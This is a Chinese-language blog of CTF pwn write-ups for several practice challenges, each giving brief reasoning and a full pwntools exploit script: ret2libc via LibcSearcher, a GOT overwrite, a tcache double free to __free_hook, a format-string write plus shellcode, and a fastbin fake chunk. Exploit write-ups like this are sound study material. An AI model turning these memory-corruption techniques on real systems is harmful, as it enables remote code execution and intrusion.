xdctf2015_pwn200
**题,简单题,五分钟能出的题给👴整了一个多小时,全是本地的libc咋也加载不上去,干脆直接LibcSearcher
没啥好说的,只开了nx
exp:
from pwn import *
from LibcSearcher import LibcSearcher
#libc = ELF('./libc.so.6')
#elf = ELF('./bof')
local = 0
if local == 1:
p = process('./bof')
else:
p = remote('node3.buuoj.cn',25267)
p.recvuntil('Welcome to XDCTF2015~!\n')
offset = 0x6C + 0x4
write_plt = 0x080483C0
main_addr = 0x0804851C
write_got = 0x0804A01C
payload = offset * b'A' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(0x4)
p.sendline(payload)
write_addr = u32(p.recv()[0:4])
libc = LibcSearcher('write',write_addr)
print("write:" + hex(write_addr))
libc_base = write_addr - libc.dump('write')
print('libcbase:' + hex(libc_base))
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print(hex(binsh_addr))
payload = offset * b'A' + p32(system_addr) * 2 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
[BJDCTF 2nd]secret
第一次碰见这样的题,好题!
没有做出来wtcl
总结,为啥没做出来?
1,找到溢出点了但是不知道怎么利用
2,碰见一堆汇编码就看不下去了,没有仔细分析
完整解题过程:
checksec发现只开了nx
拿到ida
main函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
myinit();
if ( judge(a1, a2) )
wrong();
system("cat /flag");
return 0LL;
}
发现是有后门的,但是好像要不触发if才可以,如果if条件满足,就会进入wrong,点进去看看是这样的
wrong函数:
void __noreturn wrong()
{
puts("#====================================#");
puts("# GAME OVER #");
puts("#====================================#");
write_string("# BYE BYE~ #", 0x12);
printf(buf, 0x12LL);
puts(&byte_46B0A7);
puts("@====================================@");
exit(0);
}
就退出程序了,那么我们点进去if里面的judge函数看看
这段无法显示为伪代码(好像是大小限制的原因,改idc脚本应该可以反编译,但是我不会orz)
仔细阅读汇编码,可以发现里面有很多比较的操作,我们走到程序里,不妨输入一个数字看看,发现是猜数字的游戏,连续猜对就可以获得flag,但是要猜10000次,在myinit函数里面
第一个点是一个指针,里面存了10000,应该就是猜对的次数,但是是指针,指针都是非常危险的~
然后第二个点就是有一个read,可以溢出,我们点进去buf看看
可以看到那个指针就在buf下面0x10处,但是我们可控的空间是0x16,所以我们可以控制target指针。
那么我们控制到哪里呢?
我们在pwndbg里面发现printf的plt和system的plt很接近,就差0x10,而且是printf的plt比system的大0x10,所以我们可以把target改写成printf的got地址,然后每当猜对一次target就会减一,当我们猜对15次,第十六次猜错就会调用printf
而这个时候,printf@plt已经被改成了system@plt,然后存在buf里面的字符串会被当成参数传入system,所以我们只需要在输入name的时候把binsh打进去就好了
exp:
from pwn import *
local = 0
#context.log_level = 'debug'
if local == 1:
p = process('./secret')
else:
p = remote('node3.buuoj.cn',25527)
elf = ELF('./secret')
printf_got = elf.got['printf']
payload = b'/bin/sh\x00' + b'A' * (0x10 - 0x8) + b'\x40\xD0\x46' #最后面的是printf的got地址,当然也可以用p32发过去
#print(payload)
p.sendline(payload)
#pause()
number = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
for i in range(0,15):
payload = number[i]
p.recvuntil('Secret:')
p.sendline(str(payload))
#pause()
p.sendlineafter('Secret:','1')
p.interactive()
ciscn_2019_es_1
今天太忙了,刚搬了宿舍,换了新环境,忙里偷闲打了一道去年的国赛题
目前就找到两种思路,第一种思路打fastbin的时候有些问题,因为不太清楚python怎么传空字符串之类的问题,导致结构体里面的指针一直在变,所以这种思路等过两天有空的时候再想想吧。第二种思路就是打__free_hook,__free_hook(ready to free) === system("/bin/sh\x00")
几个点:
当题目对于申请的chunk大小限制无要求,我们可以申请大chunk,free后放入unsorted bin直接泄漏libc
攻击__free_hook比one_gadget更简单
exp:
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
local = 1
if local == 1:
p = process('./ciscn_2019_es_1')
else:
p = remote('node3.buuoj.cn',25338)
def add(size,name,num):
p.sendlineafter('choice:','1')
p.sendlineafter('Please input the size of compary\'s name',str(size))
p.sendafter('please input name:',name)
p.sendafter('please input compary call:',num)
def show(index):
p.sendlineafter('choice:','2')
p.sendlineafter('Please input the index:',str(index))
def delete(index):
p.sendlineafter('choice:','3')
p.sendlineafter('Please input the index:',str(index))
'''
print("第一种思路:利用fastbin attack 攻击__malloc_hook函数,尚未成功")
print("========== step 1 : leak libc ============")
add(0x410,'a','b') #0
add(0x10,'c','d') #1
delete(0)
show(0)
p.recvuntil('name:\n')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 96 - 0x10
libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump("__malloc_hook")
print("libc base : " + hex(libc_base))
print("=========== step 2 : fastbin attack =========")
add(0x60,'A','B') #3
delete(3)
delete(3)
add(0x60,p64(__malloc_hook-0x23),'hack')
print("=========== step 3 : one_gadget =========")
one_gadget_list = [0x4f2c5,0x4f322,0x10a38c]
one_gadget = libc_base + one_gadget_list[1]
add(0x60,0x13 * b'A' + p64(one_gadget),'hhhh')
#add(0x10,'a','b')
pause()
p.interactive()
'''
print("第二种思路:利用unsorted bin逃逸出tcache bin,然后攻击__free_hook")
print("====================== step1 : leak libc =================")
add(0x410,b'A' * 8,b'B') #0
add(0x10,b'/bin/sh\00',b'D') #1
add(0x10,b'123',b'hack') #2
delete(0)
show(0)
p.recvuntil('name:\n')
__malloc_hook = u64(p.recv(6) + b'\x00\x00') - 96 -0x10
print(hex(__malloc_hook))
libc = LibcSearcher('__malloc_hook',__malloc_hook)
libc_base = __malloc_hook - libc.dump('__malloc_hook')
print("libc base:" + hex(libc_base))
print("============ step2 : attack __free_hook function =================")
print("__free_hook(chunk_mem) === system(binsh) ")
print("so we need change '__free_hook' to 'system' ")
__free_hook = libc_base + libc.dump("__free_hook")
system_addr = libc_base + libc.dump("system")
delete(2)
delete(2)
add(0x10,p64(__free_hook),b'lemon') #3
add(0x10,p64(system_addr),b'hack') #4
delete(2)
p.interactive()
临时加个攻防世界:string
这个题是有个师傅问我的,其实原来做过了,但是好久没有玩过格式化字符串漏洞了,就重新做一下
收获的几个点:
1,注意mmap函数的第三个参数
2,shellcode = asm(shellcraft.sh())能打通,如果再加上str()就不可以了
exp:
from pwn import *
context.log_level = 'debug'
local = 0
if local == 1:
p = process('./dragon')
else:
p = remote('220.249.52.133',37799)
p.recvuntil("secret[0] is ")
address = int(p.recvuntil("\n"),16)
print(hex(address))
p.sendlineafter("What should your character's name be:\n",'name')
p.sendlineafter("So, where you will go?east or up?:\n",'east')
p.sendlineafter("go into there(1), or leave(0)?:\n",'1')
p.sendlineafter("'Give me an address'\n",str(address))
print("经过测试,发现格式化字符串是第7个参数")
payload = fmtstr_payload(7,{address:85})
p.sendlineafter("And, you wish is:\n",payload)
print("经过格式化字符串,我们可以发送shellcode了,因为mmap的第三个参数")
context(os = 'linux',arch = 'amd64')
shellcode = asm(shellcraft.sh())
#shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode)
#shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
p.recvuntil("Wizard: I will help you! USE YOU SPELL")
p.sendline(shellcode)
p.interactive()
wustctf2020_closed
学到了,抽空得学习下IO_FILE的知识
0,1,2 分别对应 stdin stdout stderr
close(1) close(2)是关闭了将程序的输出显示到屏幕上,并且关闭了报错信息
可以看到我们其实已经拿到了shell,那么我们直接重定向就好 exec 1>&0
不需要exp 直接nc就好
hitcontraining_magicheap
逆向
main函数,发现框起来的地方有些可疑
点开函数,发现有后门
创建堆块
编辑堆块,存在漏洞,可以自定义堆块编辑的大小(老漏洞了
删除堆块,🈚️UAF
因为没有show函数之类的,所以很难泄漏信息,正好程序没开pie,干脆直接利用后门,想办法在magic附近伪造chunk
find_fake_fast永远滴神!!
exp
环境可能出问题了,同样的exp打了十次才通,本地是通了,远程也终于通了
from pwn import *
context.log_level = 'debug'
local = 0
if local == 1:
p = process('./magicheap')
else:
p = remote('node3.buuoj.cn',25199)
def add(size,content):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size of Heap :',str(size))
p.sendafter('Content of heap:',content)
def edit(index,size,content):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index :',str(index))
p.sendlineafter('Size of Heap :',str(size))
p.sendafter('Content of heap:', content)
def free(index):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :',str(index))
print("===== 第一种思路: 不管后门,直接fastbin attack 打mallochook ======")
print("======= 但是没有show函数,我们无法泄漏libc ======")
print("所以综上考虑,要不我们还是利用后门好了-.-||")
'''
add(0x10,b'A' * 8) #chunk0
add(0x30,b'a' * 8) #chunk1
free(1)
fake_chunk = 0x602062
payload = 0x10 * b'A' + p64(0) + p64(0x41) + p64(fake_chunk)
print("payload length:" + str(len(payload)))
#print(p.recv())
#edit(0,41,payload)
'''
print("double free搞一下")
add(0x30,'A') #chunk0
add(0x60,'B') #chunk1
fake_chunk = 0x60207D
free(1)
payload = 0x30 * b'A' + p64(0) + p64(0x71) + p64(fake_chunk)
print("这里不知道哪里错了,编辑功能总是上不去,可能是函数内部编写的有问题,懒得看了-.-")
p.sendline('2')
p.sendline('0')
p.sendline(str(len(payload)))
p.send(payload)
#edit(0,len(payload),payload)
add(0x60,p64(fake_chunk))
payload = 0x13 * b'A' + p64(0x1306)
add(0x60,payload)
p.interactive()

bjdctf_2020_router
好题,感觉这种题才有意思,不像别的题,直接栈溢出啥的或者ROP链
直接看main函数
我们可以利用留言功能,虽然无法栈溢出,但是可以污染数组dest,为什么要污染dest?因为在1里面有system(dest),我们只需要污染dest,变成binsh即可拿到shell
exp
from pwn import *
local = 0
if local == 1:
p = process('./bjdctf_2020_router')
else:
p = remote('node3.buuoj.cn',29147)
elf = ELF('./bjdctf_2020_router')
libc = ELF('./libc.so.6')
def dbg():
context.log_level = 'debug'
#dbg()
p.recvuntil('Please input u choose:\n')
p.sendline('3')
p.recvuntil('Your suggest will help us to do better!')
payload = 0x20 * b'A' + b'/bin/sh\x00'
payload = payload.ljust(0x3A,b'a')
p.send(payload)
p.recvuntil('Please input u choose:\n')
p.sendline('1')
p.interactive()
